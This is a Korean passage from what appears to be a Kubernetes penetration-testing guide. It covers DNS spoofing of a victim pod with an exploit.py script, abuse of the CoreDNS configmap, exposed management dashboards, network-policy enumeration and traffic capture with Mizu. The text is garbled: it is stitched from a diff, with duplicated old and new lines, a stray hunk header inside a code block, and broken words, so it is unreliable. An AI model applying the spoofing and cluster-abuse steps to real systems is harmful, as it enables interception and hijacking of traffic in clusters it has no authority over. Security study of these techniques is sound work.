ubuntu-victim 머신에 공격을 수행하십시오:
우분투-희생자 머신에 공격을 수행하십시오:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -260,13 +260,45 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> 만약 당신이 자신의 DNS 스푸핑 스크립트를 만들려고 한다면, **DNS 응답만 수정하는 것**은 **작동하지 않을 것입니다**, 왜냐하면 **응답**은 **악성** **pod**의 **src IP** 주소를 가질 것이고 **수되지 않을 것입니다**.\
> 만약 당신이 자신의 DNS 스푸핑 스크립트를 만들려고 한다면, **DNS 응답만 수정하는 것**은 **작동하지 않을 것입니다**, 왜냐하면 **응답**은 **악성** **pod**의 IP 주소인 **src IP**를 가질 것이고 **수되지 않을 것입니다**.\
> 당신은 피해자가 DNS 요청을 보낸 **DNS**의 **src IP**로 **새 DNS 패킷**을 생성해야 합니다 (이는 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP이고 DNS 서버 IP가 아닙니다. 이에 대한 자세한 내용은 소개에서 다룹니다).
## coreDNS configmap을 통한 DNS 스푸핑
kube-system 네임스페이스의 configmap `coredns`에 대한 쓰기 권한이 있는 사용자는 클러스터의 DNS 응답을 수정할 수 있습니다.
이 공격에 대한 더 많은 정보는 다음에서 확인하세요:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## 노출된 쿠버네티스 관리 서비스 악용
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope 및 Kubernetes 대시보드와 같은 서비스는 종종 인터넷이나 쿠버네티스 네트워크 내에 노출됩니다. 쿠버네티스를 관리하는 데 사용되는 플랫폼을 **찾아내고 접근할 수 있는** 공격자는 이를 악용하여 쿠버네티스 API에 접근하고 새로운 pods를 생성하거나 기존 ones를 수정하거나 심지어 삭제하는 등의 작업을 수행할 수 있습니다.
## 쿠버네티스 네트워크 정책 열거
구성된 **networkpolicies** 가져오기:
```bash
kubectl get networkpolicies --all-namespaces
```
**Callico** 네트워크 정책 가져오기:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
**Cillium** 네트워크 정책 가져오기:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
네트워크 플러그인 또는 보안 솔루션에 의해 설치된 다른 정책 관련 CRD를 가져옵니다:
```bash
kubectl get crd | grep -i policy
```
## 트래픽 캡처
도구 [**Mizu**](https://github.com/up9inc/mizu)는 Kubernetes를 위한 간단하면서도 강력한 API **트래픽 뷰어**로, 마이크로서비스 간의 **모든 API 통신**을 **보기** 위해 사용되어 디버 및 회귀 문제 해결에 도움을 줍니다.\
선택한 pod에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 매우 은밀하지 않습니다).
도구 [**Mizu**](https://github.com/up9inc/mizu)는 **Kubernetes**를 위한 간단하면서도 강력한 API **트래픽 뷰어**로, 마이크로서비스 간의 **모든 API 통신**을 볼 수 있게 하여 디버 및 회귀 문제 해결에 도움을 줍니다.\
선택한 파드에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 그리 은밀하지 않습니다).
## 참고자료